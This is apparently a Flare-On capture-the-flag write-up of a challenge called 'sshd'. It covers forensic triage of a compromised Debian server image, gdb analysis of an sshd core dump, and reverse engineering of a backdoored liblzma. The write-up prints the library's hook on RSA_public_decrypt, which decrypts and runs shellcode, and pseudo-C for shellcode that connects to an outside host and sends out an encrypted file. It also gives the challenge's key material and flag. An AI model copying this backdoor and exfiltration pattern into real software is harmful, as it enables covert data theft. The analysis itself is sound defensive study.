
This was honestly an amazing challenge.

Challenge 5 ("sshd")

Description

Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying

to sell me my own data!!! Do your part, random internet hacker, to help FLARE

out and tell us what data they stole! We used the best forensic preservation

technique of just copying all the files on the system for you.

“

Writeup



This time, we are given a unix TAR file containing a typical directory structure of a Unix system.

The assignment mentions forensic analysis, so we can assume that the files in the archive

represent the state of the server machine at some point after the attack. Of course, the "best

forensic preservation technique" bit in the assignment text is ironic, as simply zipping the files

(probably by running a zip utility on the compromised system itself) fails to guarantee some of the

important properties we expect from forensic images (most importantly integrity, but also things

like the timestamp of the creation of the image, and so on).

As I'm not a forensic analysis expert, I feared I might not know how to approach this challenge, but

I was able to come up with some basic ideas and techniques nonetheless:

0. I extracted the TAR archive under sudo , so that the original ownership information would

be preserved, and chroot ed into the extracted filesystem.

1. I looked through the /etc  directory and found information about the OS in the os-release

and debian_version  files. The system was evidently running Debian 12.6 — a reasonably
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recent version of a Linux distribution typically used on servers.

2. Since the name of the challenge is sshd  (SSH Daemon), I thought to look at the SSH

server config located at /etc/ssh/sshd_config . I diff ed it against the default

configuration and found that one option had been altered:

This is what the sshd_config manual page says about that setting:

This was a big red flag — if the attacker could somehow log into or exploit the ssh service, they

would presumably have fully privileged access to the system.

3. Based on this previous finding, it was logical to look for information about the sshd

software and version to check them against a CVE database. I found the simplest way of

doing this to be just running strings | grep OpenSSH  on the binary, which gave me the

version, OpenSSH_9.2p1 . I searched for CVEs affecting this version on the NIST NVD and

found one that could potentially match this scenario, CVE-2024-6387. However, this

turned out not to be crucial to solving the challenge.

4. I also looked through the /dev , /home , /opt , /proc , /root , /srv  and /tmp  directories

for potentially interesting artifacts, but there were none (although the /root/flag.txt  file

was a good laugh). Furthermore, I checked the /var/log  directory for system logs, but it

seems that they were removed (I was only able to find one interesting piece of info from

the apt  log, namely that gdb  was installed on the 9th of September, while no other

packages have been installed for months before that).

5. I thought about selecting only the most recently changed files. With the find  command

along with -type f  and -mtime -N , I was able to filter out files changed at most N  days

ago.

This last technique, along with a simple ls -l  on each of the files listed below, revealed truly

interesting information:

/etc/ca-certificates.conf  was last modified Sep 9 21:21,

/etc/ssl/certs/ca-certificates.crt , likewise, Sep 9 21:21,

/usr/lib/x86_64-linux-gnu/liblzma.so.5.4.1  was modified Sep 9, 21:34,

/var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676  was also modified (likely

created) Sep 9, 21:34.

Since I first noticed the first two files listed above, I examined them closely. If the attacker had

added a root TLS certificate, they might be able to perform a Manipulator-in-the-middle attack on

TLS traffic (although it was not entirely obvious how the flag should be obtained in that case).

Anyways, it turned out that there was no difference between the installed certificates and those

present on a freshly installed Debian 12.6 system.

Next, I noticed the sshd.core...  file. From its name, I immediately suspected that this was a so-

called "core dump" of the sshd process — after all, the assignment mentioned that the server had

crashed. I confirmed this suspicion with the file  command (unfortunately missing from the server

image — I ran it from my host system), which output the following.

UsePrivilegeSeparation no

UsePrivilegeSeparation

Specifies whether sshd(8) separates privileges by creating an unprivileged child

process to deal with incoming network traffic. After successful authentication,

another process will be created that has the privilege of the authenticated user.

The goal of privilege separation is to prevent privilege escalation by containing

any corruption within the unprivileged processes. The default is ''yes''.

“



Core files (also called core dumps) are files that contain a sort of a "snapshot" of a process at the

time of a crash, so that it can be later analyzed or debugged. So let's do just that. The tool for the

job in this case is the GNU debugger, or gdb , conveniently already present on the system. Since

many people don't have experience working with core dumps, I will try to go into more detail in

this part, so that this writeup has hopefully at least some value to the outside world.

To analyze the core dump, we need to run gdb  on the process executable and then "attach" the

core dump. This can be done in one step when starting gdb :

(Note that the -c  switch is optional, the path to core dump can be also specified as a positional

parameter.)

Working with core dumps isn't as convenient as working with a "live" process, since not all

information can be saved into the dump (for example, instruction pointer history, previous values

of registers, etc.). In this case, however, it turns out all necessary information is obtainable from

the dump.

The first command I usually run when inspecting a crash is bt  (or backtrace ). This shows the call

stack and can give the basic idea about where the crash happened and how the program got

there.

As we can see, the latest value of the instruction register is 0, meaning a null pointer was

dereferenced earlier and caused the crash, since there were no instructions mapped to memory at

address 0. Therefore, it makes sense to examine the code that tried calling the zero address. The

second (#1) address in the listing, 0x00007f4a18c8f88f , actually points to the procedure return

address, i.e. the instruction right after the call . So we can take a guess, subtract a couple of

bytes from that address and print the instructions at that address ( gdb  will correctly find valid

instructions even if our guess is wrong — remember that on x86/amd64, instructions have variable

length).

To print out 40 instructions starting at 0x00007f4a18c8f820  (that is actually the start of that

particular function), we can use this GDB command:

var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676: ELF 64-bit LSB core file, x86-64,

version 1 (SYSV), SVR4-style, from 'sshd: root [priv]', real uid: 0, effective uid: 0, real

gid: 0, effective gid: 0, execfn: '/usr/sbin/sshd', platform: 'x86_64'

Analyzing the core dump

gdb /usr/sbin/sshd -c /var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676

(gdb) bt#0  0x0000000000000000 in ?? ()#1  0x00007f4a18c8f88f in ?? () from /lib/x86_64-linux-

gnu/liblzma.so.5#2  0x000055b46c7867c0 in ?? ()#3  0x000055b46c73f9d7 in ?? ()#4

0x000055b46c73ff80 in ?? ()#5  0x000055b46c71376b in ?? ()#6  0x000055b46c715f36 in ?? ()#7

0x000055b46c7199e0 in ?? ()#8  0x000055b46c6ec10c in ?? ()#9  0x00007f4a18e5824a in

__libc_start_call_main (main=main@entry=0x55b46c6e7d50, argc=argc@entry=4,

argv=argv@entry=0x7ffcc6602eb8)    at ../sysdeps/nptl/libc_start_call_main.h:58#10

0x00007f4a18e58305 in __libc_start_main_impl (main=0x55b46c6e7d50, argc=4,

argv=0x7ffcc6602eb8, init=<optimized out>, fini=<optimized out>,     rtld_fini=<optimized

out>, stack_end=0x7ffcc6602ea8) at ../csu/libc-start.c:360#11 0x000055b46c6ec621 in ?? ()

(gdb) x/40i 0x00007f4a18c8f820...   0x7f4a18c8f879: call   0x7f4a18c8acf0 <dlsym@plt>

0x7f4a18c8f87e: mov    r8d,ebx   0x7f4a18c8f881: mov    rcx,r14   0x7f4a18c8f884:



(I have only listed the relevant part.) Since the return address was 0x...f88f , we know that the

call rax  instruction right before (i.e. at 0x...f88d ) was the one that caused the crash. This also

makes sense, since the call is indirect and the value of rax  could very well have been 0.

Furthermore, tracing back where the value in rax  came from, we can see that it was the return

value of the dlsym  function call a couple instructions back.

Another curiosity — which I missed at first — is the location of the code we were just examining. In

the stack trace, the following line:

shows that the function we just examined comes from the liblzma  shared object (a.k.a.

dynamically linked library). This alone may not be suspicious, given that lzma  is a compression

library and it seems perfectly acceptable for an SSH server to deal with compression in some way.

However, given the events from earlier this year, when a backdoor was found in one version of this

library, along with the null pointer dereference, we should definitely take a closer look at this

library. Another indication that this library is not benign can be observed in the 3rd funcition (#2)

down the call chain:

The code in sshd  wasn't trying to call any function from the lzma  library! It was trying to call the

RSA_public_decrypt  function from OpenSSL. Hence, the attacker must have somehow altered the

plt  (Procedure Linkage Table, analogous to the PE Import Address Table) to redirect the call to the

malicious library.

For now, let's leave the core dump and let's look at the liblzma  shared object.

First, I wanted to check if the library was indeed modified or if it was the official distribution that

was somehow used for malicious purposes (e.g. through return-oriented programming). I hashed

the library found on the compromised system with SHA256 and compared it to one on a fresh

install — the hashes were different. To further confirm my suspicions, I then tried to search the

freshly installed liblzma  for the code that caused the crash (to be precise, position independent

parts of the code), and like I expected, I didn't find it. It was time to do some reversing.

To analyse the /lib/x86_64-linux-gnu/liblzma.so.5 , or rather /lib/x86_64-linux-

gnu/liblzma.so.5.4.1  (the former is merely a symbolic link to the latter), I used the free version of

IDA 8.4 for Linux and looked at the function at .text:9820 . Since the code wasn't obfuscated in

any way, decompiling it with IDA made the analysis a lot easier.

mov    rdx,r13   0x7f4a18c8f887: mov    rsi,rbp   0x7f4a18c8f88a: mov

edi,r12d   0x7f4a18c8f88d: call   rax...

#1  0x00007f4a18c8f88f in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5

(gdb) x/5i 0x000055b46c7867b0    0x55b46c7867b0: add    BYTE PTR [rax],al

0x55b46c7867b2: mov    r12d,0xffffffea   0x55b46c7867b8: mov    edi,r9d

0x55b46c7867bb: call   0x55b46c6e62b0 <RSA_public_decrypt@plt>   0x55b46c7867c0: test

eax,eax

Analyzing the modified liblzma

__int64 __fastcall RSA_pub_decrypt_wrapper_crashedhere(        int flen,        uint32_t

*from,        unsigned __int8 *to,        void *rsa,        int padding){  const char

*symbol_name; // rsi  void *ptrRsaPublicDecrypt; // rax  __int64 result; // rax  void

*mapped_addr; // rax  void (*mapped_addr_2)(void); // [rsp+8h] [rbp-120h]  Chacha

chacha_object; // [rsp+20h] [rbp-108h] BYREF  unsigned __int64 canary_probably; // [rsp+E8h]

[rbp-40h]  canary_probably = __readfsqword(0x28u);  symbol_name = "RSA_public_decrypt";  if (



First, the function checks if the UID of the process is 0 (root). If it is (but in our case, we know it

was), it executes additional code before loading and calling the real RSA_public_decrypt  function

(or at least trying to — notice the trailing space in the symbol name).

First, it checks if the first 4 bytes pointed to by from  (RBP) are 48 7a 40 c5 . Since the RBP register

storing this pointer was not modified afterwards and neither was the memory that it was pointing

to, we can use the core dump to verify this was the case:

Indeed, it was. Even before analyzing what I would later name the chacha20_initialize  and

chacha20_crypt_inplace  functions, it was obvious that something interesting was going on here —

an anonymous memory mapping is created, something is copied into it, and then the mapped

memory is called as if it were a function. It was clear the stuff that was copied into the buffer

was some sort of shellcode, but disassembling it directly produced nonsensical results, so I looked

at the two functions.

I first looked at the latter one and I was a little intimidated. Clearly it was some sort of

cryptographic function, based on the various ROTs and XORs I saw in the decompiled code, but I

was too overwhelmed to analyze it. After I looked at the decompilation output of the other one,

however, I immediately knew exactly what was going on and everything clicked into place. This

single line of decompiled code gave it away:

"expand 32-byte k" is the "nothing up my sleeve number" used in the ChaCha20 stream cipher.

This function was writing it into some memory, right after that, 32 bytes were copied, then 12, and

finally the remaining 4-byte spot in this 4x16 byte matrix were set to 0. This is exactly the

initialization of ChaCha, which takes (or rather can take) a 32-byte key, 12-byte nonce and a 4-

byte counter. I realized that the rotates, adds and xors I was seeing earlier were applications of the

individual quarter-rounds onto the ChaCha inner state when generating the keystream, and I

double checked that at the end, the keystream was XORed with the plaintext.

Now, if I could find the key and nonce, I could decrypt the shellcode and analyze it further.

Thankfully, this was trivial given the decompilation output:

The first word (i.e. 32-bit int) was checked, the next 8 were used as the key, and the following 3 as

the nonce. The counter was initialized to 0. Again, using gdb, it was possible to extract all of the

needed bytes.

!getuid() ) // only run as root  {    if ( *from == 0xC5407A48 )    {

chacha20_initialize(&chacha_object, from + 1, from + 9, 0LL);      mapped_addr = mmap(0LL,

mmap_length, 7, 34, -1, 0LL); // prot = read | write | execute; flags = anonymous | 0x2

mapped_addr_2 = memcpy(mapped_addr, &encrypted_shellcode, mmap_length);

chacha20_crypt_inplace(&chacha_object, mapped_addr_2, mmap_length);      mapped_addr_2();

chacha20_initialize(&chacha_object, from + 1, from + 9, 0LL);

chacha20_crypt_inplace(&chacha_object, mapped_addr_2, mmap_length);    }    symbol_name =

"RSA_public_decrypt ";  }  ptrRsaPublicDecrypt = dlsym(0LL, symbol_name);  result =

(ptrRsaPublicDecrypt)(flen, from, to, rsa, padding); // crashed here because dlsym returned 0

if ( __readfsqword(0x28u) != canary_probably )    return lzma_cputhreads();  return result;}

(gdb) x/1wx $rbp0x55b46d51dde0: 0xc5407a48

qmemcpy(chacha_object->prng_state, "expand 32-byte k", 16);

if ( *from == 0xC5407A48 ){    chacha20_initialize(&chacha_object, from + 1, from + 9, 0LL);

(gdb) x/32bx $rbp+4 0x55b46d51dde4: 0x94 0x3d 0xf6 0x38 0xa8 0x18 0x13

0xe20x55b46d51ddec: 0xde 0x63 0x18 0xa5 0x07 0xf9 0xa0



(I later found a better way to extract these things from the dump, so... keep reading!)

Using a simple python script and the cryptography  library, the shellcode (which I exported directly

from IDA into a binary file) could be easily decrypted:

Looking at the beginning of the decrypted file with xxd decrypted_shellcode.bin | head , I saw what

I was hoping for:

The first couple of bytes can be recognized to be valid amd64 instructions: 55  is push rbp , 488bec

is a mov , likely mov rbp, rsp , and e8 ?? ?? 00 00  is a near relative call.

My first instinct was to open the shellcode in IDA, but since I was using the free version, I was told

that "This version of IDA can only disassemble PE files" (which is strange, since I had been

disassembling and decompiling an ELF shared object all this time, which to the best of my

knowledge isn't a PE file). Anyways...

I decided to refresh my skills with Ghidra. After finally getting Ghidra to render at the proper

resolution on my HiDPI display (PSA: there is a setting in the launch.properties  file), work could

begin.

Like we saw earlier, the beggining of the shellcode file has the structure of a function. All this

function really does is that it calls another one, located at offset 0xdc2  in the file. Shortly, we will

see that this is where the main payload resides.

Looking at the disassembled function (I called it simply entry ), I could see that there were several

syscalls being issued to the Linux kernel. Unfortunately, Ghidra does not do a very good job at

recognizing them, so I rewrote my own high-level pseudo-C representation of the disassembled

code.

0xba0x55b46d51ddf4: 0x2d 0xbb 0x8a 0x7b 0xa6 0x36 0x66

0xd00x55b46d51ddfc: 0x8d 0x11 0xa6 0x5e 0xc9 0x14 0xd6 0x6f(gdb)

x/12bx $rbp+360x55b46d51de04: 0xf2 0x36 0x83 0x9f 0x4d 0xcd 0x71

0x1a0x55b46d51de0c: 0x52 0x86 0x29 0x5

from cryptography.hazmat.primitives.ciphers import Cipher, algorithmsdef chacha_decrypt(key,

nonce, ciphertext):    full_nonce = b'\x00' * 4 + nonce    algorithm =

algorithms.ChaCha20(key, full_nonce)    cipher = Cipher(algorithm, mode=None)    return

cipher.decryptor().update(ciphertext)KEY =

b'\x94\x3d\xf6\x38\xa8\x18\x13\xe2\xde\x63\x18\xa5\x07\xf9\xa0\xba\x2d\xbb\x8a\x7b\xa6\x36\x66

\xd0\x8d\x11\xa6\x5e\xc9\x14\xd6\x6f'NONCE =

b'\xf2\x36\x83\x9f\x4d\xcd\x71\x1a\x52\x86\x29\x05'with open("encrypted_shellcode.bin", "rb")

as f:    ciphertext = f.read()decrypted_shellcode = chacha_decrypt(KEY, NONCE, ciphertext)with

open("decrypted_shellcode.bin", "wb") as f:    f.write(decrypted_shellcode)

00000000: 5548 8bec e8b9 0d00 00c9 c357 5548 8bec ......

Analyzing the shellcode

00000000 55              PUSH       RBP00000001 48 8b ec        MOV        RBP,RSP00000004 e8

b9 0d        CALL       FUN_00000dc2 // (entry)         00 0000000009 c9

LEAVE0000000a c3              RET



Simply put, the shellcode opens a network socket to a local address, reads in a key, nonce and a

filename, opens the file, encrypts its contents and sends the ciphertext back on the same socket.

I did not analyze any of the functions fun_1a , fun_cd2  or fun_d49  for now, since one could make a

pretty good assumption about what they were doing. I only took a brief look at fun_cd2  and saw

the "expand 32-byte k" constant again, which lead me to conclude that this was standard ChaCha

encryption again. All that was left to do was search the dump memory for the filename, the key,

the nonce, and the ciphertext (or plaintext — since ChaCha is a stream cipher, we can't really

distinguish between encryption and decryption).

Now comes the hardest part — elementary school arithmetic. To get the memory address of the

individual buffers, we need to know their "local addresses" (we can get this from Ghidra) as well as

the value of RBP (or RSP) at the time of execution (we have to get this from the dump).

We know that the stack pointer hasn't moved between the return from the shellcode and the

crashing call. So to get the base pointer at the beginning of the entry , we need to subtract 8 + 8

bytes ( call  + push rbp ), and since the prologue of entry  pushes 5 more registers onto the stack

before setting RBP equal to RSP, we need to subtract 5 * 8 more bytes. Lastly, subtracting the

offsets (or "local addresses") of the local variables from RBP should give us their address in the

memory dump. Let's see.

chacha  = rpb - 0xc0

filecontents_length  = rbp - 0xc4

filename_length  = rbp - 0xc8

buffer  = rbp - 0x1148

filename  = rbp - 0x1248

nonce  = rbp - 0x1258

key  = rbp - 0x1278

int entry(void){    alloca(0x1688);    uint32_t (0xe8) chacha;    uint32_t (0xec)

filecontents_length;    uint32_t (0xf0) filename_length;    uint8_t (0x1170) buffer[0x80];

uint8_t (0x1270) filename[16];    uint32_t (0x1280) nonce[3];    uint32_t (0x12a0) key[8];

// probably connect(addr = 10.0.2.15, port = 1337)    int (ebx) socket = fun_1a($eax =

0xa00020f, $dx = 1337);    syscall::recvfrom(socket, buf = &key, len = sizeof key, flags = 0,

src_addr = 0, addrlen = 0);    syscall::recvfrom(socket, buf = &nonce, len = sizeof nonce,

flags = 0, src_addr = 0, addrlen = 0);    syscall::recvfrom(socket, buf = &filename_length,

len = 4, flags = 0, src_addr = 0, addrlen = 0);    size_t (rax) recvd_len = syscall::recvfrom(

socket, buf = &filename, len = filename_length,            flags = 0, src_addr = 0, addrlen =

0            );    filename[recvd_len] = 0;    int (r12) file = syscall::open(filename =

&filename, flags = 0, mode = 0);    syscall::read(file, buf = &buffer, len = 0x80);

filecontents_length = strlen(&buffer);    // I mean come on, ... this has to be ChaCha again

fun_cd2($rax = &chacha, $rcx = nonce, $rdx = key, $r8 = 0);    fun_d49($rax = &chacha, $ecx =

filecontents_length, $rdx = buffer);    syscall::sendto(socket, buf = &filecontents_length,

len = 4, ...0);    syscall::sendto(socket, buf = buffer, len = filecontents_length, ...0);

close($eax = file);    shmat($eax = socket, $edx = 0);    return 0;}

(gdb) print *(uint32_t *)($rsp-0x38-0xc4)$11 = 3648993555(gdb) print *(uint32_t *)($rsp-0x38-

0xc8)$12 = 909308416(gdb) print (char *)($rsp-0x38-0x1248)   $13 = 0x7ffcc6600c18

"/root/certificate_authority_signing_key.txt"(gdb) x/12bx $rsp-0x38-0x1258 0x7ffcc6600c08:

0x11 0x11 0x11 0x11 0x11 0x11 0x11 0x110x7ffcc6600c10: 0x11 0x11

0x11 0x11(gdb) x/32bx $rsp-0x38-0x12780x7ffcc6600be8: 0x8d 0xec 0x91 0x12

0xeb 0x76 0x0e 0xda0x7ffcc6600bf0: 0x7c 0x7d 0x87 0xa4 0x43 0x27

0x1c 0x350x7ffcc6600bf8: 0xd9 0xe0 0xcb 0x87 0x89 0x93 0xb4

0xd90x7ffcc6600c00: 0x04 0xae 0xf9 0x34 0xfa 0x21 0x66 0xd7



This is looking good! We're unfortunately missing the information about the length of the file

contents, which was (most likely) overwritten by another function, but we seem to have the

filename, the encryption key and nonce, and hopefully the buffer with the file contents. Since we

don't know the size of the encrypted file, I decided to dump the memory from the beginning of the

buffer all the way to where the next variable (i.e. filename_length  lives). Here is where I finally

learned about the dump  GDB command.

I used xxd  again to look at the beginning of the file:

The crucial observation is that the data starting at 0x23  is absolutely not random enough to be a

ChaCha ciphertext (you can see a repeating pattern that continues for even longer than is shown

here). My hope was therefore that the first 0x23  bytes contained the encrypted flag, and it was

time to find out.

I tried decrypting the flag using the same Python approach as before. However, the plaintext was

nonsensical. I was sure I had the right key, nonce and counter values, so the only explanation was

that the ChaCha algorithm was somehow modified, or some different variant of it was used. I made

attempts to reverse engineer the last two functions, but in the end, I was seduced by the dark side

of the force. I had been looking at disassembled ChaCha code for way too long and a simpler

solution was sitting right in front of me: I didn't need to reverse engineer the ChaCha code; I just

needed to run it.

One thing that I didn't mention (though it is apparent from the pseudo-C code listing above) is that

the shellcode used a custom calling convention (possibly in order not to overwrite the stack and

make the challenge more difficult or even unsolvable). Arguments were passed in registers in the

order RAX, RDX, RCX, R8 and the return value was passed in RAX. If I were to use the decrypted

shellcode as a sort of library and call functions from it, I needed to adhere to this calling

convention. For this reason, I chose to write the flag decryptor in C.

This was a great opportunity to learn something that has long evaded me, which was GNU inline

assembly. I created two wrapper functions that simply moved the arguments to the correct

registers and issued the call to the right offset into the shellcode, using inline assembly. At the

start of the program, I mapped the shellcode into memory with read/execute permissions, and that

was basically all I needed to solve this challenge and get the flag.

Below is my C code and the output.

(gdb) dump binary memory ciphertext.bin $rsp-0x38-0x1148 $rsp-0x38-0xc8

00000000: a9f6 3408 422a 9e1c 0c03 a808 9470 bb8d  ..4.B*.......p..00000010: aadc 6d7b 24ff

7f24 7cda 839e 92f7 071d  ..m{$..$|.......00000020: 0263 902e c158 0000 d0b4 586d b455 0000

.c...X....Xm.U..00000030: 20ea 7819 4a7f 0000 d0b4 586d b455 0000   .x.J.....Xm.U..

Decrypting the flag

#include <assert.h>#include <ctype.h>#include <fcntl.h>#include <stdio.h>#include

<stdint.h>#include <stdlib.h>#include <sys/mman.h>#include <sys/stat.h>#include

<unistd.h>#define CIPHERTEXT_FILENAME "ciphertext.bin"#define SHELLCODE_FILENAME

"shellcode.bin"#define OFFSET_CHACHA_INIT 0x0cd2#define OFFSET_CHACHA_CRYPT 0x0d49#define

CHACHA_OBJECT_SIZE 0xc0void shellcode_load();void shellcode_cleanup();void chacha_init(void

*chacha, const uint32_t key[8], const uint32_t nonce[3], uint32_t counter);void

chacha_crypt(void *chacha, uint8_t *inout, uint64_t length);size_t

find_first_nonprintable(const char *buf, size_t len);#define eprintf(ARGS...) fprintf(stderr,

ARGS)#define ANSI_COLOR_RED "\x1b[1;31m"#define ANSI_COLOR_RESET "\x1b[0m"int main(void){

shellcode_load();    eprintf("INFO: Shellcode loaded.\n");    uint8_t



One interesting thing is the contents of the flag, which spells "Supply Chain Sunday" and is likely

referring to the (failed) supply chain attack through the liblzma  library from this year's spring.

This made me wonder if it was able to reconstruct exactly how the modified binary got onto the

system and how the attacker infiltrated the sshd process in the first place. So although I solved

this challenge and I learned a lot along the way, there was definitely lots more to learn from it

further. Maybe I will come back to it some day.
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chacha[CHACHA_OBJECT_SIZE];    const uint32_t key[] = {0x1291ec8d, 0xda0e76eb, 0xa4877d7c,

0x351c2743,                            0x87cbe0d9, 0xd9b49389, 0x34f9ae04, 0xd76621fa};

const uint32_t nonce[] = {0x11111111, 0x11111111, 0x11111111};    const uint32_t counter = 0;

chacha_init((void *)chacha, key, nonce, counter);    eprintf("INFO: Chacha initialized.\n");

char filecontents[8192]; // too lazy to do the math    size_t filesize;    FILE *fp =

fopen(CIPHERTEXT_FILENAME, "rb");    assert(fp);    filesize = fread(filecontents, 1, sizeof

filecontents, fp);    assert(filesize > 0);    fclose(fp);    eprintf("INFO: Ciphertext read

from file.\n");    chacha_crypt((void *)chacha, filecontents, filesize);    eprintf("INFO:

File decrypted.\n");    size_t len = find_first_nonprintable(filecontents, filesize);

printf("====================================================\n");    printf("%sFlag:

%.*s%s\n", ANSI_COLOR_RED, (int)len, filecontents, ANSI_COLOR_RESET);

printf("====================================================\n");    shellcode_cleanup();

eprintf("INFO: Shellcode unloaded.\n");    return 0;}size_t find_first_nonprintable(const char

*buf, size_t len){    for (size_t i = 0; i < len; i++)        if (isprint(buf[i]) == 0)

return i;    return len;}// Dark magic herestatic void *shellcode = NULL;static size_t

shellcode_size = 0;void shellcode_load(){    int fd = open(SHELLCODE_FILENAME, O_RDONLY);

assert(fd >= 0);    eprintf("INFO: Opened shellcode to FD %d.\n", fd);    struct stat fs;

assert(0 == fstat(fd, &fs));    size_t filesize = fs.st_size;    assert(filesize > 0);

eprintf("INFO: Shellcode filesize is %lu bytes.\n", filesize);    shellcode = mmap(NULL,

filesize, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);    assert((uintptr_t)shellcode !=

(uintptr_t)-1);    eprintf("INFO: Shellcode mapped to address %p.\n", shellcode);

shellcode_size = filesize;    close(fd);}void shellcode_cleanup(){    munmap(shellcode,

shellcode_size);    eprintf("INFO: Shellcode unmapped from memory.\n");}#define STRINGIFY(x)

#x#define TOSTRING(x) STRINGIFY(x)void chacha_init(void *chacha, const uint32_t key[8], const

uint32_t nonce[3], uint32_t counter){    eprintf("INFO: Entering chacha_init.\n");

assert(shellcode);    // chacha -> rax    // key -> rdx    // nonce -> rcx    // counter -> r8

__asm__(        "mov %0, %%rax\n\t"        "mov %1, %%r8d\n\t"        "mov %2, %%rcx\n\t"

"mov %3, %%rdx\n\t"        "mov %4, %%rbx\n\t"        "add $" TOSTRING(OFFSET_CHACHA_INIT) ",

%%rbx\n\t"        "call *%%rbx"        :        : "r"(chacha), "r"(counter), "r"(nonce), "r"

(key), "m"(shellcode)        : "rax", "rbx", "rcx", "rdx", "r8");}void chacha_crypt(void

*chacha, uint8_t *inout, uint64_t length){    eprintf("INFO: Entering chacha_crypt.\n");

assert(shellcode);    // chacha -> rax    // inout -> rdx    // length -> rcx    __asm__(

"mov %0, %%rax\n\t"        "mov %1, %%rcx\n\t"        "mov %2, %%rdx\n\t"        "mov %3,

%%rbx\n\t"        "add $" TOSTRING(OFFSET_CHACHA_CRYPT) ", %%rbx\n\t"        "call *%%rbx"

:        : "r"(chacha), "r"(length), "r"(inout), "m"(shellcode)        : "rax", "rbx", "rcx",

"rdx");}

INFO: Opened shellcode to FD 3.INFO: Shellcode filesize is 3990 bytes.INFO: Shellcode mapped

to address 0x75d63a5cc000.INFO: Shellcode loaded.INFO: Entering chacha_init.INFO: Chacha

initialized.INFO: Ciphertext read from file.INFO: Entering chacha_crypt.INFO: File

decrypted.====================================================Flag: supp1y_cha1n_sund4y@flare-

on.com====================================================INFO: Shellcode unmapped from

memory.INFO: Shellcode unloaded.
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